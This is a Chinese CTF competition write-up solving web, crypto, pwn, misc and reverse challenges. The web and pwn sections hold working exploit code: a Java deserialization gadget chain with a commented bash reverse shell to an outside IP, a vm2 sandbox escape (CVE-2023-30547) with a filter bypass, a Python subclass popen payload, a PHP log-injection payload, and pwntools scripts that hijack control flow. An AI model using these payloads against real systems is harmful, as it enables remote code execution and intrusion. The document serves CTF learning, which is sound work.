磐石行动 WP

by ss0t

WEB

fun_java

bypassit1

package com.yulate.nativespring;

/**
 * @projectName: nativeSpring
 * @package: com.yulate.nativespring
 * @className: Vuln
 * @author: yulate
 * @description: TODO
 * @date: 5/20/2023 5:25 PM
 * @version: 1.0
 */

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Vuln {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getEvilByteCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("aaa");
        // /bin/bash","-c","bash -i >& /dev/tcp/47.242.253.194/9999 0>&1
        String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});";
        //静态方法
        cc.makeClassInitializer().insertBefore(cmd);

        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] code = cc.toBytecode();
        return code;
    }

    public static String getBase64Data(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static Object readBase64Data(String base64Data) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getEvilByteCode();
        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl, "_bytecodes", new byte[][]{code});
        setFieldValue(tpl, "_name", "233");
        setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());

        ObjectMapper mapper = new ObjectMapper();
//        ArrayNode arr = mapper.createArrayNode();
//        arr.addPOJO(tpl);
//        POJONode pj = new POJONode(tpl);

        POJONode jsonNodes = new POJONode(tpl);

        BadAttributeValueExpException bad = new BadAttributeValueExpException("aa");
        setFieldValue(bad, "val", jsonNodes);

//        BadAttributeValueExpException bad = new BadAttributeValueExpException("1");
//        setFieldValue(bad, "val", arr);
        String output = getBase64Data(bad);
        System.out.println(output);

        readBase64Data(output);
    }
}

有点小问题要将BaseJsonNode抽出来到自己的项目中将writeReplace方法注释掉

file

CookieBack

/cookie?data=connect.sid=xxxx

sid需要解码一下放进去,然后刷新再次请求即可

easy_node

根据copyArray的逻辑,可以传入这样的数据来绕过if

{
    "properties": {
        "length": 1,
        0: {
            0: "vm2_tester",
            "length": 1
        }
    },
    "name": "m4x",
}

根据题目的提示vm2 3.9.16可以找到最新的CVE-2023-30547,poc地址:

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}

过了了getPrototypeOf和function,eval绕过即可

import requests

url = "http://116.236.144.37:26849/vm2_tester"
url2 = "http://116.236.144.37:26849/vm2"

data = {
    "properties": {
        "length": 1,
        0: {
            0: "vm2_tester",
            "length": 1
        }
    },
    "name": "m4x",
}

payload = """eval(`
err = {};
const handler = {
    getPr` + `ototypeOf(target) {
        (fun` + `ction stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('cat /flag');
}`)
"""

sess = requests.session()
print(sess.post(url, json=data).text)
data ={"code":payload}
print(sess.post(url2,json=data).text)

ezpython

找到137的os._wrap_close,直接打就行

print([].__class__.__base__.__subclasses__()[137].__init__.__globals__'p' + 'open'.read())

easy_loge

发现用户名有过滤,尝试传入数组发现有警告信息闪了一下,访问日志文件发现数组内的内容也会写入到log中,但是value仍然会被过滤,尝试在key中写入成功。

username[1][2][<?php eval('echo `cat /S3rect_1S_H3re`;'); ?>]=m4x&password=m4x

Crypto

bird

下载之后为一个txt,分析觉得是压缩包,修改后缀名打开里面又一个word

file

https://www.dcode.fr/birds-on-a-wire-cipher

在线网站解密即可,flag最后为小写

crackme

应该是非预期了,下载txt打开,flag直接在里面

revenge

卡界的coppersmith 需要爆破一个大写字母

from Crypto.Util.number import *
from tqdm import tqdm
from Crypto.Cipher import AES
from hashlib import md5

out = [(2576060676691912599041453221402687596761165416186144521390999188188054810790689875123147391567468904152433767494418025426036536791888845362051620957584796173, 1404599252224589102680100215102065783794937466885641804474763659235753882248281509918047703883314262151887636018214889908296113219929390525312856531057598511, 1546582168511591297246236466785228284146606446580424428788321134907243444000276185636702416300856423264943202370285590133353315898209756704105928659504125280), (1856479428320393184826066814134098589741228855450025333688188120575929163866515585497402286516300870767597286796830194179897319803359819777070606158997326687, 1739911445273397715994715373821615268097813691506341592399828911490088434888870095909648380238843690112973622076731513477307870982775256397102986545585042307, 1404715712359273595839731798473935119428618634487647011136927974988040980856414867101421603849272449005576218478139726706896369717995173978540209876272991559), (2297431461807762915467529671075083216743767671815011184905660952239533101846545054093337929863732257767151231036542977019155281482916017336942426284877952589, 1229262703524979999066414868366795977860845915873708036053137031236650917419418563435203159859588413392034711023934730032791107827617980777011168968597093740, 948124104672656112191612153338861115247358886514962328044734247511665786771053972281157125837946402243709012378636236994494243608157138428623815232812105126), (3259684917460943558806503540406726793994425276515494389101605804265114363982952363351874215959189233202709599069554855887866747319958581801738676836732154639, 2498703813681156495356941255793430828832266261028869209649186668471521794564165492313310602470142029945552478625127582808859576924652319577668651211062402358, 2626606161752306212066637131911545589457511068105752968019561674772422135733149538237136201363338821026926398176115395623371696564683341772942172012193929801)]

def Function(n,r,c,rand):
    P.<m> = PolynomialRing(Zmod(n))
    k = bytes_to_long(b'Key_') * 2^(60 * 8) + m * 2^8 + rand
    f = k^4 + k^3 + 5*k^2 + r*k - c
    return f

coppersmith 爆破最低字节,卡界需要调epsilon

for a in tqdm(range(65,91)):
    print(a)
    try:
        fs = []
        ns = []
        for i in out:
            ns.append(i[0])
            ff = Function(i[0],i[1],i[2],a).monic().change_ring(ZZ)
            fs.append(ff)
        F = crt(fs,ns)
        N = prod(ns)
        print(N.nbits())
        FF = F.change_ring(Zmod(N))
        roots = FF.small_roots(X=2^472,epsilon = 0.03)
        print(roots)
        print(long_to_bytes(int(roots[0])))

    except:
        continue

解出来得到key'为Key_You_RealLY_KNOw_CoPp3rsmith!,然后参考 https://blog.csdn.net/MikeCoke/article/details/113823492 求解secret,最后用aes解密拿到

flag{db1640888177e26b2a2cdbc85ea84275}

RSA_like

之前的西电校赛也是这么个题目,直接改脚本梭哈就完事了

[mini LCTF 2023] 西电的部分_石氏是时试的博客-CSDN博客

# sage
import random
from Crypto.Util.number import *
from gmpy2 import *
import time

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension

############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB

def attack(N, e, m, t, X, Y):
    modulus = e

    PR.<x,y> = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1

    gg = []
    for k in range(0, m + 1):
        for i in range(k, m + 1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))
    for k in range(0, m + 1):
        for i in range(k, k + 1):
            for j in range(2 * k + 2, 2 * i + t + 1):
                gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))

    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials

        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)

            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]

                return order_gg(idx + 1, new_gg, monomials + non)

    gg, monomials = order_gg(0, gg, [])

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ m, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0, 0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ m)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (m * nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ m)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<a,b> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a, b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a, b) * BB[pol2_idx, jj] / monomials[jj](X, Y)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    return solx, soly

def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]

def generate_prime(bit_length):
    while True:
        a = random.getrandbits(bit_length // 2)
        b = random.getrandbits(bit_length // 2)

        if b % 3 == 0:
            continue

        p = a ** 2 + 3 * b ** 2
        if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p):
            return p

def point_addition(P, Q, mod):
    m, n = P
    p, q = Q

    if p is None:
        return P
    if m is None:
        return Q

    if n is None and q is None:
        x = m * p % mod
        y = (m + p) % mod
        return (x, y)

    if n is None and q is not None:
        m, n, p, q = p, q, m, n

    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2) * inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n ** 2) % mod != 0:
            x = (m * p + 2) * inverse(m - n ** 2, mod) % mod
            return (x, None)
        else:
            return (None, None)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (None, None)

def special_power(P, a, mod):
    res = (None, None)
    t = P
    while a > 0:
        if a & 1:
            res = point_addition(res, t, mod)
        t = point_addition(t, t, mod)
        a >>= 1
    return res

def random_padding(message, length):
    pad = bytes([random.getrandbits(8) for _ in range(length - len(message))])
    return message + pad

c = (59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)
N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038

X = 1 << 469
Y = 2 * inthroot(Integer(2 * N), 2)

res = attack(N, e, 4, 2, X, Y)
print(res)  # gives k and p + q, the rest is easy

b, c = res[1], N
Dsqrt = inthroot(Integer(b ^ 2 - 4 * c), 2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N
print(p,q)

上面求出p,q后带入下面脚本

import random
from Crypto.Util.number import *
from gmpy2 import *

c = (59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)
N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038
p,q=12076532702818803027742169983530419558608401078508017894707093811716696786941308547797368731019670776508448150953432566915232808757060410156378938522359551,9504548564498461029558227822137431209369699669992479992757942960885213061136352518231937836400544570835645335056229054429984730840065504477100420427103027

print(p*q==N)

def generate_prime(bit_length):
    while True:
        a = random.getrandbits(bit_length // 2)
        b = random.getrandbits(bit_length // 2)

        if b % 3 == 0:
            continue

        p = a ** 2 + 3 * b ** 2
        if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p):
            return p

def point_addition(P, Q, mod):
    m, n = P
    p, q = Q

    if p is None:
        return P
    if m is None:
        return Q

    if n is None and q is None:
        x = m * p % mod
        y = (m + p) % mod
        return (x, y)

    if n is None and q is not None:
        m, n, p, q = p, q, m, n

    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2) * inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n ** 2) % mod != 0:
            x = (m * p + 2) * inverse(m - n ** 2, mod) % mod
            return (x, None)
        else:
            return (None, None)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (None, None)

def special_power(P, a, mod):
    res = (None, None)
    t = P
    while a > 0:
        if a & 1:
            res = point_addition(res, t, mod)
        t = point_addition(t, t, mod)
        a >>= 1
    return res

def random_padding(message, length):
    pad = bytes([random.getrandbits(8) for _ in range(length - len(message))])
    return message + pad

# 跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数
phi = (p**2 + p + 1)*(q**2 + q + 1)
d = invert(e,phi)
m = special_power(c,d,N)
flag = b''.join([long_to_bytes(v)[:19] for v in m])
print(flag)

Pwn

keybox

通过触发整数溢出,访问超出数组界限的元素,并修改返回地址以调用后门函数。

from pwn import *

p = remote("116.236.144.37",21604)
elf = ELF("./KeyBox")

p.sendlineafter("first key:",b'-9223372036854775791')
p.sendlineafter("second key:",b'4200293')

changaddr

往exit@got写入getflag()后门函数地址,直接触发到

from pwn import *

r = remote("116.236.144.37", 21604)
elf = ELF("./ChangeAddr")
context(arch="i386", os="linux", log_level="debug")
context.terminal = ['terminator', '--new-tab', '-x']

def dbg(src):
    gdb.attach(r, src)
    pause()

src = '''b *0x804949F'''

def attack():
    exit_got = elf.got['exit']
    getflag = 0x804932C

    r.sendlineafter("like to write?", hex(exit_got))
    r.sendlineafter("?", hex(getflag))
    r.sendlineafter("segment fault!", "a")

    r.interactive()

if __name__ == '__main__':
    attack()

Misc

good_http

盲水印获得解压密码:XD8C2VOKEU

解压完就是flag

Reverse

flag在哪?

int __cdecl sub_401AC0(int a1, int a2)
{
  char v3[80]; // [esp+0h] [ebp-78h]
  int v4; // [esp+50h] [ebp-28h]
  int v5; // [esp+54h] [ebp-24h]
  unsigned int v6; // [esp+58h] [ebp-20h]
  int v7; // [esp+5Ch] [ebp-1Ch]
  int v8; // [esp+60h] [ebp-18h]
  unsigned int v9; // [esp+64h] [ebp-14h]
  unsigned int v10; // [esp+68h] [ebp-10h]
  unsigned int v11; // [esp+6Ch] [ebp-Ch]
  int v12; // [esp+70h] [ebp-8h]
  unsigned int i; // [esp+74h] [ebp-4h]

  v10 = dword_4062B4(a1);
  v6 = dword_4062B4(a2);
  dword_4062B4(byte_406274);
  v12 = 15;
  v11 = 15 - v10;
  if ( v10 != 15 )
    return v11;
  for ( i = 0; i < v10; ++i )
  {
    v4 = 0;
    v9 = i % 3;
    v7 = dword_406450(i % 3);
    v5 = (v7 + 2) ^ *(char *)(i + a1);
    v8 = *(char *)(i + a2);
    if ( i >= v6 )
      v8 = 0;
    v3[i] = v8 + v5;
    if ( v3[i] != byte_406274[i] )
      return i + 1;
  }
  return 0;
}

分析之后核心是将输入值进行异或4操作,然后根据当前数据在序列中的位置模3的余数是否等于1,进行另外的异或操作。在对比函数中,代码先对之前加密的结果a1进行了异或和加法操作,然后再与byte_406274进行比较。如果调试得到与其计算的数据,就能够解密密文。byte_406274是一个包含了十五个字节的密文,分别为0xD3,0x38,0xD1,0xD3,0x7B,0xAD,0xB3,0x66,0x71,0x3A,0x59,0x5F,0x5F,0x2D和0x73。解密的流程是先进行一个减法操作,然后进行异或操作,接着根据index执行异或操作,最后再异或4。

#include <stdio.h>

char enc[] = {0xD3, 0x38, 0xD1, 0xD3, 0x7B, 0xAD, 0xB3, 0x66, 0x71, 0x3A, 0x59, 0x5F, 0x5F, 0x2D, 0x73};
char s[16] = "e4bdtRV02";

unsigned char aFlagWhereIsTom[] = {
    0x66, 0x6C, 0x61, 0x67, 0x7B, 0x77, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x74, 0x6F, 
    0x6D, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x4D, 0x79, 0x20, 0x63, 0x68, 0x65, 0x65, 
    0x73, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x6D, 0x69, 0x73, 0x73, 0x20, 

};

int sub_401BD0(int a1)
{
  int v2; // [esp+4h] [ebp-4h]

  v2 = 0;
  switch ( a1 )
  {
    case 0:
      return 10;
    case 1:
      return 9;
    case 2:
      return 8;
  }
  return v2;
}

int main(void)
{

    for(int i = 0; i < 15; i++)
    {
        enc[i] = (enc[i]-s[i])^(sub_401BD0(i%3)+2);
        //printf("%d, ", enc[i]);

        if(i%3 == 1)
        {
            enc[i] ^= aFlagWhereIsTom[i*3];
        }

        enc[i] ^= 4;

        printf("%c", enc[i]);
    }

    return 0;

}

ezEXE

file

patch这个函数

file

进入lpAddress函数,明显的rc4,rc4加密后,使用base64对rc4加密结果进行编码

import base64
v2 = 'RQpxxZgUqxzwonBuDApb3PyRJ8CcLIyXVozsVjurmPQdUdND+cly4HFq'
v3 = base64.b64decode(v2)
print(v3.hex())
#450a71c59814ab1cf0a2706e0c0a5bdcfc9127c09c2c8c97568cec563bab98f41d51d343f9c972e0716a

进入密钥为 VrDQ-ffgaEig04qx 的rc4解密

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇